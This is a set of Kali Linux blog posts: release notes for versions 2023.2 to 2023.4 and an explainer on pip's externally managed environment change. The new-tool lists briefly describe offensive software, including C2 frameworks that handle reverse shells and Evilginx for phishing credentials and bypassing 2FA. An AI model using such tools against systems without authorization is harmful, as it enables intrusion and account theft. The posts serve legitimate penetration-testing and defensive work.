If you need some help using Kali Linux in the cloud, be sure to check our documentation. Otherwise, if you want to see how we generate these images, see our cloud build-scripts.

Vagrant Hyper-V Support

With our recent work with adding support to our VM build-scripts to create Microsoft Hyper-V virtual machines, we have kept on going down the rabbit hole of development. Our Vagrant offering now includes a Hyper-V environment!

If you are not too familiar with Vagrant, think of it as a command-line interface for VMware, VirtualBox, and now Hyper-V.

At a higher level, in the same way that Docker uses Dockerfile, Vagrant uses Vagrantfile. These files go on to define how to create the virtual machine and further provisions, such as which operating system to use, CPU, RAM, storage, networking, and also any scripts or commands that the VM should execute to further install and configure.

That means our our Vagrant offering has support for:

Hyper-V
QEMU
VirtualBox
VMware

If this is something you like the sound of, we have further reading on our documentation:

We also have our vagrant build-scripts public if you want to see how it is done.

Raspberry Pi 5

If you have been lucky enough to get your hands on the newest Raspberry Pi, Kali Linux can now be used on a Raspberry Pi 5!

We have created a new dedicated image which can either be downloaded direct, or automated using Raspberry Pi Imager.

You can build the image yourself if you wish to tinker and customize any aspect of it, such as changing the default desktop environment, packages, settings etc.

Please note, Nexmon support is not yet working with the in-built Wi-Fi (so no monitor mode or frame injection without an external card).

You can keep an eye on progress by checking our documentation about it. Please keep in mind that while the image is now available for use, we would consider it to be in a BETA state. For the time being, the image is for ARM64 architecture, hopefully additional flavors will come later.

We want to give a huge shout-out as there were a lot of volunteers from the community who were willing to test and report issues with the image. There was one person who really stood out, and this image would not be possible without BakaValen’s assistance, support, reporting of issues, and ideas.

Additionally, David Bombal’s Raspberry Pi 5 Kali Linux install in 10 minutes came out to show off our initial work of Kali Linux on the Raspberry Pi 5.

GNOME 45

With GNOME 45 hot off the press, Kali Linux is now supporting it! And is looking pretty in the process!

For people who opt to use GNOME as their desktop environment, GNOME 45 is now here! If you do not read their changelog, below is a quick summary mixed with some of our tweaks:

Full-height sidebars in many updated apps
Highly improved speed of search in nautilus file manager
- Unfortunately the update for nautilus was not ready for this release, but it will arrive as a later update soon
Improved settings app (gnome-control-center)
Updated color-schemes for gnome-text-editor
Updated themes for shell, libadwaita, gtk-3 and gtk-4
Updated gnome-shell extensions
Shell updates, including a new workspace indicator, replacing the previous “Activities” button
- It is also possible to scroll your mouse wheel while hovering over the indicator to switch between workspaces

Internal Infrastructure

We are still undergoing big changes with our infrastructure, and as always, it is taking longer than planned! The wait has been worth it, and long standing items are getting fixed or replaced!

Enters Mirrorbits

One of the projects which is now complete is the migration of our “mirror redirector”. This is our biggest user-facing service, as without this, all default Kali installations would not be able to use apt (aka http.kali.org), or being able to download Kali image (cdimage.kali.org). This service sits in-front of our mirrors (archive*.kali.org), community mirrors and Cloudflare (kali.download). It is responsible for redirecting every request to its nearest mirror, based on a few factors such as geographic location, mirror speed, and mirror “freshness”.

Since Kali was launched back in March 2013, until November 2023 we had been using MirrorBrain. Unfortunately, the project has been unmaintained since 2015, and so after 10 years in production, it was really time to say good-bye. Today, we are now using Mirrorbits.

The first thing we can say is that, with Mirrorbits, we find ourselves lucky: this is a rock-solid piece of software, built on modern tech (Go and Redis), initially released 10 years ago, and running in production for just as long. It was initially developed by Ludovic Fauvet from VideoLAN in order to distribute the VLC media player. And over these years, it has been adopted by a growing number of FOSS projects such as GNOME, Jenkins, Lineage OS, and many others.

As it happens, our use-case of Mirrorbits is different to what it was originally created for: distributing VLC, or in other words, a rather small set of static files. Kali Linux being a complete Linux distribution, it means that we distribute a huge number of files (at times there can be millions of files in our repo). Being a rolling distribution means that Mirrorbits must cope with fast-changing metadata in the repository. We also need to distribute Kali over both HTTP and HTTPS, which was not well supported.

Thus, the transition to Mirrorbits was not trivial, it did not work “out-of-the-box” for us, and we had to rework some pieces here and there, and basically hammer at it until it does the job. But it was well worth it, and in the end our modifications were clean enough that we could submit it all upstream. We really hope that all of this work will be accepted, thus making it easier for Linux distributions in general to use Mirrorbits going forward. Oh, and we have created and are maintaining the Debian package!

Much more could be written on the topic, and we plan a longer blog post dedicated to it. But for now, enough’s been said.

New Tools in Kali

It would not be a Kali release if there were not any new tools added! A quick run down of what has been added (to the network repositories):

cabby - TAXII client implementation
cti-taxii-client - TAXII 2 client library
enum4linux-ng - Next generation version of enum4linux with additional features (a Windows/Samba enumeration tool)
exiflooter - Finds geolocation on all image URLs and directories
h8mail - Email OSINT & Password breach hunting tool
Havoc - Modern and malleable post-exploitation command and control framework
OpenTAXII - TAXII server implementation
PassDetective - Scans shell command history to detect mistakenly written passwords, API keys, and secrets
Portspoof - All 65535 TCP ports are always open & emulates services
Raven - Lightweight HTTP file upload service
ReconSpider - Most Advanced Open Source Intelligence (OSINT) Framework
rling - RLI Next Gen (Rling), a faster multi-threaded, feature rich alternative to rli
Sigma-Cli - List and convert Sigma rules into query languages
sn0int - Semi-automatic OSINT framework and package manager
SPIRE - SPIFFE Runtime Environment is a toolchain of APIs for establishing trust between software systems

There have also been numerous packages updates and new libraries as well. We also bump the Kali kernel to 6.5.0!

Community Packages

There have been multiple tools submitted from the community, ready to be merged into Kali:

h8mail - Credit to: Jason “5nacks” Kregting & TraceLabs
PassDetective - Credit to: Yunus “aydinnyunus” AYDIN
sn0int - Credit to: kpcyrd

For more information about this, please see our blog post from previous release.

Miscellaneous

Below are a few other things which have been updated in Kali, which we are calling out which do not have as much detail on:

We have changed our newsletter provider to SubStack!
- If you want our blog posts, and only that in your inbox, sign up!
We have seen an issue with VMware currently (VMware workstation 17.5), where it appears input (keyboard/mouse) will freeze after a period of time
- Check the above link for a workaround solution
- If you use our pre-generated VMs, the patch has already been applied
There also appears to be an issue with KDE inside a virtual machine, where certain functions between host/guest are not working, such as shared clipboard (copy/paste)
We have added support for QT6 themes
A friendly reminder about Python v3.12 PIP install change which will alter “soon”

Kali NetHunter Updates

We have seen a few things from the community worth calling out:

Kali ARM Updates

There are not a lot of changes to the ARM images this release, aside from the previously mentioned Raspberry Pi 5 support. However, they are no less important.

The Raspberry Pi Zero W image now properly starts up into the command line interface instead of launching X.
Accessing network configuration remotely now properly works again.
eyewitness is now available for ARM64 platform.

Kali Website Updates

We have recently created a Frequently Asked Questions with answers that we commonly keep seeing crop up.

Our Kali documentation has had various updates to existing pages as well as new pages:

We also want to say a little thank you to following for their work on the sites:

Community Shout-Outs

These are people from the public who have helped Kali and the team for the last release. And we want to praise them for their work (we like to give credit where due!):

AI Program - Helped testing base images
BakaValen - Helped with testing, troubleshooting and offering ideas with the Raspberry Pi 5 image
David Bombal - Helped with testing the Raspberry Pi 5 image
Salty_ - Helped with testing base images
X0RW3LL - Helped with testing base images

Anyone can help out, anyone can get involved!

New Kali Mirrors

We have some new mirrors! Those are:

Japan: repo.jing.rocks. Thanks to Jing Luo for reaching out and hosting this mirror!
Serbia: mirror1.sox.rs sponsored by SOX, the Serbian Open eXchange. Thanks to Sasa Ristic for reaching out to us!

If you have the disk space and bandwidth, we always welcome new mirrors.

Kali Team Discord Chat

Once the Kali release is over, we have been doing an hour long voice chat with a number of Kali team members. This is where anyone can ask questions to us about Kali or the information security industry as a whole.

The next session will be held slightly differently to our previous ones, later in the day, on the Friday that is coming up, and on OffSec’s Discord - Friday, 8th December 2023 18:00 -> 19:00 UTC/+0 GMT (Discord link & iCalendar invite).

Please note, there will not be a recording of this - its live only.

Get Kali Linux 2023.4

Fresh Images: So what are you waiting for? Go and grab Kali already!

Seasoned Kali Linux users are already aware of this, but for the ones who are not, we do also have weekly builds that you can use as well. If you cannot wait for our next release next quarter to get the latest packages or bug fixes you can download these images instead. Just know that these are automated builds that we do not QA like we do our standard point release images. We also welcome any bug reports about those images too!!

Existing Installs: If you already have an existing Kali Linux installation, remember you can always do a quick update:

┌──(kali㉿kali)-[~]
└─$ echo "deb http://http.kali.org/kali kali-rolling main contrib non-free non-free-firmware" | sudo tee /etc/apt/sources.list
[...]
┌──(kali㉿kali)-[~]
└─$ sudo apt update && sudo apt -y full-upgrade
[...]
┌──(kali㉿kali)-[~]
└─$ cp -vrbi /etc/skel/. ~/
[...]
┌──(kali㉿kali)-[~]
└─$ [ -f /var/run/reboot-required ] && sudo reboot -f

You should now be on Kali Linux 2023.4! We can do a quick check by doing:

┌──(kali㉿kali)-[~]
└─$ grep VERSION /etc/os-release
VERSION="2023.4"
VERSION_ID="2023.4"
VERSION_CODENAME="kali-rolling"
┌──(kali㉿kali)-[~]
└─$ uname -v
#1 SMP PREEMPT_DYNAMIC Debian 6.5.6-1kali1 (2023-10-09)
┌──(kali㉿kali)-[~]
└─$ uname -r
6.5.0-kali3-amd64

NOTE: The output of uname -r may be different depending on the system architecture.

As always, should you discover any issues with Kali, please search then submit a report on our bug tracker. We will never be able to fix what we do not know is broken! And social networks are not bug trackers!

Want to keep up-to-date? Easy! We have a RSS feeds and newsletter of our blog to help you. Our social networks are in the footer of this page!

Kali Linux 2023.3 Release (Internal Infrastructure & Kali Autopilot)

Wed, 23 Aug 2023 00:00:00 +0000

Today we are delighted to introduce our latest release of Kali, 2023.3. This release blog post does not have the most features in it, as a lot of the changes have been behind-the-scenes, which brings a huge benefit to us and an indirect positive effect to you as end-users. It always goes without saying, but there are a number of new packages and tools as well as the standard updates. If you want to see what’s new for yourself download or upgrade if you have an existing Kali Linux installation.

The highlights of the changelog since the 2023.2 release from May:

Internal Infrastructure - Major stack changes is under way
Kali Autopilot - The automation attack framework has had an major overhaul
New Tools - 9 new tools added this time round!

Internal Infrastructure

With the release of Debian 12 which came out this summer, we took this opportunity to re-work, re-design, and re-architecture our infrastructure. It is as massive as it sounds, and should not be a surprise that its not yet complete! This is where a good amount of our focus has been for this release-cycle (and also the next one unfortunately). We are hoping that the majority of it will be done by the end of the year (so we can get back to what we do best!)

This gives an excuse and the motivation to simplify our software stack as much as possible. Example, using one single:

OS version (Debian 12)
CDN/WAF (Cloudflare)
Web server service (Nginx)
Infrastructure as Code (Ansible)

We also have some other goals, and replacing certain software with others (phase #2).

At the same time, we have automated some actions such as:

The cleaning up of suites (aka branches - kali-experimental and kali-bleeding-edge)

We are very much underway with these projects already (as bug bounty hunters may notice the changes)!

Mirror Traces

We have a new sub-domain, mirror-traces.kali.org! This is to help mirror admins for our community mirrors. This now gives everyone using it more details and insight which is useful when troubleshooting and debugging issues.

True to our word, we are doing more in the open, the git repository can be found here: gitlab.com/kalilinux/tools/mirror-status.

Packaging Tools

For a long time, we have shared our home-made scripts publicly, which is our helping aid to manage all our packages in Kali. Recently we have expanded on them by giving the existing files a refresh by adding additional features and various quality-of-life improvements, as well as including new ones.

As a recap, if you want to have a peek at some back-end development:

AutoPkgTest - Using debci in a CI fashion, we can test packages being built.
- This integrates into Britney.
Britney2 (Git repo) - Migrates packages between all of our suites (aka branches, such as “debian-testing”, “kali-rolling”, and “kali-last-snapshot” to name a few).
Build-Logs - Output of our images/platform as well as packages being created on each supported architecture.
Janitor - This is our automated packager as it will apply everything from minor formatting changes to preparing an package update.
- The long term goal of this is to have it handle kali-bleeding-edge, linking into AutoPkgTest.
Package Tracker - Tracks each packages version’s history.
Packaging CI Overview (Git repo) - Quick (and dirty) overview of our package’s CI status.
Upstream-Watch (Git repo) - Monitors when there is an update upstream.

Kali Autopilot

With the release of Kali Purple in Kali 2023.1, we also had the debut of Kali Autopilot. Since then, its been worked on and is unrecognizable with its redesigned GUI and multitudinous amount of features added.

What is Kali Autopilot? We are glad you asked! Kali Autopilot is an automated attack framework. It is a bit like an “AutoPwner”, which follows pre-defined “attack scenarios”. The motivation originally started its development for the defensive side of Kali.

It is a lot easier to demonstrate Kali’s offensive side, especially when you start seeing the shells popping up. But when it comes to the defensive side, how do you know if you have set things up? You start to ask questions:

Are the Intrusion Detection System (IDS) and the Web Application Firewall (WAF) detecting malicious activities?
Is the Security information and event management (SIEM) ingesting the right logs?
Are the dashboards and alerts tuned to detect attacks?
Are the analysts trained in finding the needle in the haystack?
Has it been tested? How can you test?

Either you can wait for someone to try and break in, or you could do it yourself. This is where Kali Autopilot comes in.

Kali Autopilot consists of a GUI tool to design attacks and to generate attack scripts that perform those attack sequences, either manually or as a service, together with a web API interface for remote control. You can also download example attack scripts from the Kali Purple Hub. We currently have scripts for juice-shop and DWVA. Just download the JSON from the hub and import it into Kali Autopilot.

This tool has come along a lot in the last 6 months, and no plans on slowing down. As always, its shaped by the community; ideas, features, and direction can be submitted and shaped by YOU. If you have developed attack scripts for vulnerable machines, we would love to include it on our Kali Purple Hub.

New Tools in Kali

We will kick it off with what’s new (to the network repositories):

Calico - Cloud native networking and network security
cri-tools - CLI and validation tools for Kubelet Container Runtime Interface
Hubble - Network, Service & Security Observability for Kubernetes using eBPF
ImHex - A Hex Editor for reverse engineers, programmers and people who value their retinas when working at 3 AM
kustomize - Customization of kubernetes YAML configurations
Rekono - Automation platform that combines different hacking tools to complete pentesting processes
rz-ghidra - Deep ghidra decompiler and sleigh disassembler integration for rizin
unblob - Extract files from any kind of container formats
Villain - C2 framework that can handle multiple reverse shells, enhance their functionality and share them among instances

We also bumped the Kali kernel to 6.3.7.

Along with new tools being added to Kali, there has been numerous packages and libraries updates, both major and minor version such as: Greenbone, Humble, Impacket, jSQL, OWASP ZAP, Rizin, Tetragon, theHarvester, Wireshark and many many more.

Unfortunately we had to drop a few packages from Kali:

king-phisher - The tool is no longer maintained by the original author
- As an alternative, check GoPhish as a replacement
plecost - Tool does not work with Python 3.11, and no response from original author
- For an replacement, try WPScan

Rekono - Community Package Submission

We get a large amount of requests to add tools into Kali. We do have a policy of what tools are added to Kali and a process of how tools are packaged up and added (from network repositories to the default installed toolset). The draw back is that we do not have enough human power to be able to process them all. Our solution to this has been to help tool authors and/or anyone from the Kali community create packages by writing a series of detailed, step-by-step guides covering the complete process and workflow of how we built those packages:

Setting up a system for packaging
Introduction to packaging step-by-step example - Instaloader
Intermediate packaging step-by-step example - Photon
Advanced Packaging Step-By-Step Example - FinalRecon & Python-icmplib
Packaging Applications with Kaboxer - “Hello World” with a Docker container

When the tool was originally submitted by the tool author, we reviewed it, liked it, and agreed it should be in Kali. We did not have the cycles to process it ourselves quick enough, but the tool author did. They step up, and then re-submitted it again with them packaging up their tool. This saved us a lot of leg work, so reviewing the package became a breeze, and shortly after was added into Kali.

If you are wanting a tool added into Kali - and you would like for it to happen sooner than we can do, have a go at trying to package yourself! There are other sources of doing “Debian packaging” out there, as well as our linked guides above. There is a initial learning curve, but its not as complex as you may think (especially if you are comfortable using Linux).

Please note, we compile packages from source. Submitting a binary *.deb file will not be accepted.

Miscellaneous

Below are a few other things which have been updated in Kali, which we are calling out which do not have as much detail:

Added Pipewire support when using Hyper-V in enhanced session mode
Added kali-hidpi-mode to support Kali-Purple
Improved installation of Kali-Purple by removing the need to run any commands after installing kali-themes-purple
Kali-Purple has a purple menu icon!
The final reminder about the breaking change with Python 3.12 & PIP

Kali NetHunter Updates

We are proud to introduce a redesigned Kali NetHunter app and a completely new NetHunter Terminal, thanks to the amazing work of our very own @martin and @yesimxev.

On the Kali NetHunter kernel side, there are numerous updates:

LG V20 for Lineage 19.1
Nexus 6P for Android 8.0 (Oreo)
Nothing Phone (1) for Android 12 (Snow cone) and 13 (Tiramisu) (new)
Pixel 3/XL for Android 13 (Tiramisu)
Samsung Galaxy A7 for LineageOS 18.1 (new)
Xiaomi Mi A3 for Lineage 20
Xiaomi Redmi 4/4X for VoltageOS 2.5

Also worth mentioning:

By popular demand we have added a SELinux disabler.
Please note until we are able to replace Mana Toolkit, we have had to temporary downgrade iptables.

Kali ARM Updates

The Raspberry Pi Zero W image now boots to CLI and not GUI. This change is in line with what we did with the Raspberry Pi 1 image a few releases ago. If you do not create a wpa_supplicant.conf to use, the easiest way to connect to a Wi-Fi network on the command line is to use the nmtui command. Alternatively, you can use sudo nmcli --ask dev wifi connect network-ssid to have it ask you for the password on the command line, without it showing up in your history.

USBArmory MKI and MKII have had their bootloaders updated to 2023.07.

The ARM build scripts have had some minor tweaks to deal with policykit updates to make sure the pkla files are properly created.

Kali Website Updates

Our Kali documentation has had various updates to existing pages as well as new pages:

Contribute to Kali (updated)
Deploying Kali over Network PXE Install (updated)
Wayland (new)

A website is never complete, and our homepage is no exception. Recently we have been making some improvements:

Get Kali - Should be a little easier to scroll and move about the page now, switching between platforms
Partnerships - Updated to say a thank you to the new partnerships!

Since our last release, we also did the following blog posts:

Pip install and Python’s externally managed

Community Shout-Outs

These are people from the public who have helped Kali and the team for the last release. And we want to praise them for their work (we like to give credit where due!):

Anutrix - who helped with kali.org/docs/
Arszilla - who helped with i3
Croluy - who helped with kali.org/docs/
Pablo Santiago López - who helped with rekono-kbx
ron190 - who helped with kali.org/tools/
Salty_ - helping with the Raspberry Pi release testing.

Anyone can help out, anyone can get involved!

New Kali Mirrors

We have another community mirror:

Armenia: kali.mirror1.gnc.am and kali.mirror2.gnc.am, sponsored by GNC-ALFA CJSC, thanks to Vahe Avagyan.

If you have the disk space and bandwidth, we always welcome new mirrors.

Kali Team Discord Chat

The next session will happen a week after the release, Wednesday, 30th August 2023 16:00 -> 17:00 UTC/+0 GMT.

Please note we will not be recording this session. This is a live event only.

Get Kali Linux 2023.3

Fresh Images: Simple, Get Kali!

Did you know, we do also produce weekly builds that you can use as well. These are for people who cannot wait for our next release and you want the latest packages (or bug fixes). This way you will have fewer updates to do. Just know that these are automated builds that we do not QA like we do our standard release images. But we gladly take bug reports about those images because we want any issues to be fixed before our next release!

Existing Installs: If you already have an existing Kali Linux installation, remember you can always do a quick update:

┌──(kali㉿kali)-[~]
└─$ echo "deb http://http.kali.org/kali kali-rolling main contrib non-free non-free-firmware" | sudo tee /etc/apt/sources.list
[...]
┌──(kali㉿kali)-[~]
└─$ sudo apt update && sudo apt -y full-upgrade
[...]
┌──(kali㉿kali)-[~]
└─$ cp -vrbi /etc/skel/. ~/
[...]
┌──(kali㉿kali)-[~]
└─$ [ -f /var/run/reboot-required ] && sudo reboot -f

You should now be on Kali Linux 2023.3 We can do a quick check by doing:

┌──(kali㉿kali)-[~]
└─$ grep VERSION /etc/os-release
VERSION="2023.3"
VERSION_ID="2023.3"
VERSION_CODENAME="kali-rolling"
┌──(kali㉿kali)-[~]
└─$ uname -v
#1 SMP PREEMPT_DYNAMIC Debian 6.3.7-1kali1 (2023-06-29)
┌──(kali㉿kali)-[~]
└─$ uname -r
6.3.0-kali1-amd64

NOTE: The output of uname -r may be different depending on the system architecture.

Want to keep in up-to-date easier? Automate it! We have a RSS feeds and newsletter of our blog to help you.

Pip install and Python's externally managed

Thu, 06 Jul 2023 00:00:00 +0000

TL;DR: pip install is on the way out. Installing Python packages must be done via APT, aka. Kali Linux’s package manager. Python packages coming from other sources should be installed in virtual environments.

Long story below.

Some background

Back in February this year, for a few days, some of you might have tried (and failed) to install Python packages with Pip, aka. Python’s package manager. Suddenly it didn’t work anymore, and it gave this error message instead:

┌──(root㉿kali)-[~]
└─$ pip install xyz
error: externally-managed-environment
? This environment is externally managed
╰─> To install Python packages system-wide, try apt install
python3-xyz, where xyz is the package you are trying to
install.
If you wish to install a non-Debian-packaged Python package,
create a virtual environment using python3 -m venv path/to/venv.
Then use path/to/venv/bin/python and path/to/venv/bin/pip. Make
sure you have python3-full installed.
If you wish to install a non-Debian packaged Python application,
it may be easiest to use pipx install xyz, which will manage a
virtual environment for you. Make sure you have pipx installed.
See /usr/share/doc/python3.11/README.venv for more information.
note: If you believe this is a mistake, please contact your Python installation
or OS distribution provider. You can override this, at the risk of breaking
your Python installation or OS, by passing --break-system-packages.
hint: See PEP 668 for the detailed specification.

This change came about without a notice, and judging by the early reports that we received, it was clear that it would impact many users. So we reverted it, and therefore pip install still works in Kali Linux these days. But not for long: when Python 3.12 hits Kali (around end of 2023 or beginning of 2024), it will stop working, this time for good. There’s not much we can do about it, it’s an upstream change, we have to go with the flow.

So why this change? Running pip install as root, in order to install Python packages system-wide, has never been a great idea. In a Linux distribution such as Kali, Python packages are already installed and managed via APT. If you bring in another package manager (pip in this case), it is likely to break packages and programs that were installed by APT, sooner or later. Then APT might break again what was installed by pip. Both package managers will endlessly step on each other’s toes.

One could also run pip install --user to install packages in the user’s home directory, but the problem is the same. Those packages will be picked up by Python applications as they run, and might not be compatible with other packages installed by APT, causing programs to misbehave or break.

The issue is not new, but it doesn’t impact all users equally. Seasoned users of Linux distributions already know what to do, and NOT to do, and they can fix their system when it breaks. However, unexperienced users don’t know, so they are likely to shoot themselves in the foot. And nobody can blame them, there are so many web pages out there recommending to run sudo pip install without providing enough context.

We (Kali developers, and more generally distro developers), are well aware of the issue: bug reports for Python applications that don’t work are a common occurence, and we often can’t reproduce the issue, and we often find out that it doesn’t work because some packages or applications were installed with pip, and interfere with other packages installed with APT. These recurring bug reports are not actionable, there’s nothing we can fix on our side. Users get burnt and they learn from it, but it’s no fun.

What’s changing

Now, back to the upcoming change: in Kali Linux, starting with Python 3.12, pip will refuse to perform system-wide installs (sudo pip install) as well as user home directory installs (pip install --user). This is good news, because it will make it harder for unexperienced users to break their system. This is a welcome change, and we are thankful to those who drove this change and made it happen. Long-term, it will be less pain for everyone. But short-term, some users won’t like it, of course, we know.

So if you’re one of those who run sudo pip install, who have it hardwired in your fingers… well, you’ll have to adjust. You might want to have a look at pipx, get more familiar with Python’s virtual environments, and spend some time reading PEP 668: Marking Python environments as externally managed to better understand the issue at hand.

To finish, and to give a bit of a broader context: the PEP 668 proposal came about as a coordinated effort from various software distributions to fix this long-standing issue of pip breaking other package managers too easily. The change is already effective in other Linux distros (like the latest release of Debian). In Kali Linux, we just delayed it a bit, so that we can warn you in advance, so that you can adjust your workflow and scripts. But the change is coming with Python 3.12, there’s no point delaying it further.

Thanks for reading!

Kali Linux 2023.2 Release (Hyper-V & PipeWire)

Tue, 30 May 2023 00:00:00 +0000

Quick off the mark from previous 10 year anniversary, Kali Linux 2023.2 is now here. It is ready for immediate download or upgrading if you have an existing Kali Linux installation.

The changelog highlights over the last few weeks since March’s release of 2023.1 is:

New VM image for Hyper-V - With “Enhanced Session Mode” out of the box
Xfce audio stack update: enters PipeWire - Better audio for Kali’s default desktop
i3 desktop overhaul - i3-gaps merged with i3
Desktop updates - Easy hashing in Xfce
GNOME 44 - Gnome Shell version bump
Icons & menus updates - New apps and icons in menu
New tools - As always, various new packages added

New Hyper-V VM Image

With this release, we welcome a new member in the family of pre-built VM images! We now provide an image for Microsoft Hyper-V.

For those familiar with the matter, let’s jump straight into the details. This is a GEN2 image for Hyper-V, pre-configured for Enhanced Session Mode. All you need to do is to download the image, unpack it, then run the script install-vm.bat. Afterwards open the Hyper-V Manager and start the VM. Hyper-V should automatically propose to connect via Enhanced Session Mode (aka. xRDP over HvSocket), thereby greatly improving the user experience.

Before that, enabling Enhanced Session Mode required some manual steps, both on Windows and in the Kali VM, and it was not super easy. We hope that this new images provides a better out-of-the box experience for Hyper-V users. In fact, there should now be zero configuration required.

More details about this new image can be found in our documentation, on the page Import Pre-Made Kali Hyper-V VM.

Xfce & PipeWire

With this release, we changed the audio stack for Kali’s default desktop: PipeWire now replaces PulseAudio.

Some background information: PipeWire is a “server for handling audio, video streams, and hardware on Linux”. It was initially released in 2017, is actively developed, and is poised to become the de-facto sound server in pretty much every Linux distribution out there, therefore replacing PulseAudio. The GNOME desktop already uses PipeWire by default in most Linux distributions, including Kali Linux since version 2022.4 . Most users never noticed the change.

But let’s get back to Kali’s default desktop environment: Xfce. Xfce does not really “support” PipeWire per se, but it does not need to. PipeWire provides a compatibility layer, under the form of the pipewire-pulse daemon. And that’s what make the magic happens: applications that were meant to work with PulseAudio keep working as if nothing happened, blissfully unaware of the change.

We do not expect any issue with this transition, actually we expect the opposite, some well-known issues should be fixed, sound should work better overall.

What should you do about it? Nothing special. For users who upgrade their Kali installation though, a reminder: the right command to upgrade your system is sudo apt update && sudo apt full-upgrade. Let us put the emphasis on full-upgrade, rather than upgrade: it matters.

Should this change cause any problem with your setup, head to the page No sound on Kali 2023.2 for tentative solutions.

i3 Desktop Overhaul

The Kali i3 desktop was completely redone!

For context: i3 is a tiling window manager. You might not have heard of it, it’s not available from the Kali’s installer, and it can be said to be a desktop for advanced users. Nevertheless, Kali used to propose a i3 desktop (provided by the metapackage kali-desktop-i3) and also a i3-gaps desktop (metapackage kali-desktop-i3-gaps), which was a sort of alternative version of i3.

The upstream projects i3-gaps and i3 merged recently, so it was awkward for Kali to have two separate metapackages. Therefore those two packages were merged, and only kali-desktop-i3 remains. This metapackage now provides a complete desktop environment (rather than a bare minimum, as it used to).

All of that work was done by long-time i3 user and Kali contributor, Arszilla, and we’re really thankful for that. He shared some screenshots of his setup, so that he can give you an idea of what a i3 desktop can look like:

Lock Screen:

On/Off Menu:

Desktop with tiled windows (note how inactive windows become transparent):

Desktop with floating windows

How can you try it out? Maybe the cleanest way is to build yourself a custom installer iso that includes the i3 desktop, and then install it on your machine of choice. After booting it up, refer to the installation guide, there are a few manual steps to run if you want to configure your i3 desktop to something similar to the screenshots above.

Desktop Updates

Xfce

In this release we pre-installed a nifty extension for the Xfce File Manager: GtkHash. This extension provides the option to quickly compute checksums, simply by doing a right-click on a file and then opening the Checksums tab. No need to open a terminal and type the command manually! Screenshot below:

GNOME 44

Like for (almost) every half-year, there is a new version bump for the GNOME desktop environment. Kali 2023.2 brings the new version, GNOME 44, which is a more polished experienced following the work previously introduced in previous version.

Here are some of the new features for this update:

Enhanced Shell Quick Settings Panel
- Quickly connect or disconnect to bluetooth devices
Updated Settings App
GNOME’s file chooser dialog can now display thumbnails
Updated Kali theming

Tiling Assistant Extension

With this release, we are excited to introduce a new extension for Kali’s GNOME Shell desktop: Tiling Assistant. This extension elevates the default tiling experience, placing it on par with the quarter tiling support found in KDE and Xfce. With Tiling Assistant, you can surpass the limitations of the 2 column layout and unlock a range of powerful features. Enjoy intuitive window snapping, multi-monitor support, customizable keyboard shortcuts, and personalized settings, all designed to enhance your productivity and workflow.

Your browser does not support the video tag.

Beginning with this release, we are excited to announce that we have initiated work on updates and improvements for the Kali menu. Our primary focus is on enhancing the tools listed in the top 100 on the kali.org/tools page. This entails improving existing icons, introducing new ones, and enhancing the organization of Kali’s menu categories.

To provide you with a sneak peek, we have included a screenshot showcasing the new and updated app icons. We value your feedback, so if you believe that any particular tool would benefit from a new icon, please don’t hesitate to open a bug report at bugs.kali.org. Your input will contribute to the continued refinement of Kali’s menu experience.

New Tools in Kali

It would not be a Kali release if there were not any new tools added! A quick run down of what has been added (to the network repositories):

Cilium-cli - Install, manage & troubleshoot Kubernetes clusters
Cosign - Container Signing
Eksctl - Official CLI for Amazon EKS
Evilginx - Standalone man-in-the-middle attack framework used for phishing login credentials along with session cookies, allowing for the bypass of 2-factor authentication
GoPhish - Open-Source Phishing Toolkit
Humble - A fast security-oriented HTTP headers analyzer
Slim(toolkit) - Don’t change anything in your container image and minify it
Syft - Generating a Software Bill of Materials from container images and filesystems
Terraform - Safely and predictably create, change, and improve infrastructure
Tetragon - eBPF-based Security Observability and Runtime Enforcement
TheHive - A Scalable, Open Source and Free Security Incident Response Platform
Trivy - Find vulnerabilities, misconfigurations, secrets, SBOM in containers, Kubernetes, code repositories, clouds and more
Wsgidav - Generic and extendable WebDAV server based on WSGI

There has also been numerous packages updates and new libraries as well.

Miscellaneous

Below are a few other things which have been updated in Kali, that do not have as much detail:

Python PIP changes - Friendly reminder about pip’s behavior changing in Kali 2023.4!
When using kali-tweaks, altering OpenSSL security will now have an effect for Python based libraries as well!
Our Kali WSL rootfs build-script got a overhaul. The result will now give a similar experience both using it as well as the output as it will include more of the standard packages by default.

Kali ARM Updates

When using the ARM build-scripts, it will now prompt you to reboot after installing build dependencies if required.

Plus, we are now including additional firmware on all ARM images.

The USBArmory MKII image currently only supports the 512MB variant. The version of u-boot has been bumped.

The Raspberry Pi P4wnP1 image is now considered community supported. Unfortunately the upstream project does not support newer versions of bluez that Kali has, so until that is fixed, we do not want to ship an image that does not work properly.

Kali Documentation Updates

Our Kali documentation has had various updates to existing pages as well as the following new pages:

We also want to say a little thank you to following for their work:

Kali Blog Recap

Since our last release, we did the following blog posts:

Happy 10th anniversary & Kali’s story …so far

Community Shout-Outs

These are people from the public who have helped Kali and the team for the last release. And we want to praise them for their work (we like to give credit where due!):

Francisco Jose Rodriguez Martos - improving the arm build scripts yet again. Thank you so very much!
Salty_ - doing the release testing for the Raspberry Pi 4.
Mihir Parekh - reporting an issue with Kali KDE desktop in VMware, along with the workaround.

Anyone can help out, anyone can get involved!

New Kali Mirrors

We have some new mirrors since the year started! Those are:

UK: mirror.vinehost.net, sponsored by VineHost, thanks to Callum White.
Moldova: md.mirrors.hacktegic.com, sponsored by Hacktegic Technologies SRL, thanks to Artiom Mocrenco.
Indonesia: xsrv.moratelindo.io, sponsored by PT Mora Telematika Indonesia, thanks to Deddy Harison.
Ukraine: fastmirror.pp.ua, thanks to Ivan Barabash.

We almost got a new mirror in South America, but it did not work out, and we realized that we really lack mirrors in this region of the world. If you’re an organization in South America with quite some bandwidth to spare, and you want to improve Kali Linux availability in South America, check our guide on how to setup a Kali Linux Mirror. If you think it’s for you, please reach out!

Kali Team Discord Chat Session

The next Kali Discord session will happen a week after the release, Wednesday, 7th June 2023 16:00 -> 17:00 UTC/+0 GMT.

Please note, we will not be recording these sessions. These are live sessions only.

Get Kali Linux 2023.2

Fresh Images: So what are you waiting for? Go get Kali already!

Existing Installs: If you already have an existing Kali Linux installation, remember you can always do a quick update:

┌──(kali㉿kali)-[~]
└─$ echo "deb http://http.kali.org/kali kali-rolling main contrib non-free non-free-firmware" | sudo tee /etc/apt/sources.list
[...]
┌──(kali㉿kali)-[~]
└─$ sudo apt update && sudo apt -y full-upgrade
[...]
┌──(kali㉿kali)-[~]
└─$ cp -vrbi /etc/skel/. ~/
[...]
┌──(kali㉿kali)-[~]
└─$ [ -f /var/run/reboot-required ] && sudo reboot -f

